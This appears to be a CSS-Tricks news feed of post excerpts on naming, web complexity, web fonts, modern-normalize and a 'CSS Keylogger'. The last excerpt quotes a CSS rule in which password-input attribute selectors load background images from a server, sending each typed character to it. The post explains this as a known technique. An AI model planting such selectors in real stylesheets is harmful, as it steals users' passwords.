Latest News

There is a quote that I bet every one of you has heard many times. You know the one. The one that reminds you how hard naming is.

Let’s talk names.

We talk often about how hard naming is, but it’s less common see people talk about how to get better at it. Even naming philosophies lend structure to naming, but don’t pick names for you. Names are more than just some hard thing we get needlessly caught up in. …

Working Towards Better Naming is a post from CSS-Tricks

Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again.

May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder:

I don’t feel much better at making [websites] after 20 years. My knowledge and skills develop a bit, then things change, …

Complexity is a post from CSS-Tricks

Using custom fonts is getting increasingly easier. We’ll cover the basics of usage here and get into the more in-depth features that are helpful for developers who want to level up and aim to perfect advanced concepts, like loading font files.

Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks

Another don’t call it a reset from Sindre Sorhus. It’s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I’m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you’re interested in some of the history and thinking behind …

modern-normalize is a post from CSS-Tricks

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
background-image: url("https://localhost:3000/a");
}

At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = …

CSS Keylogger is a post from CSS-Tricks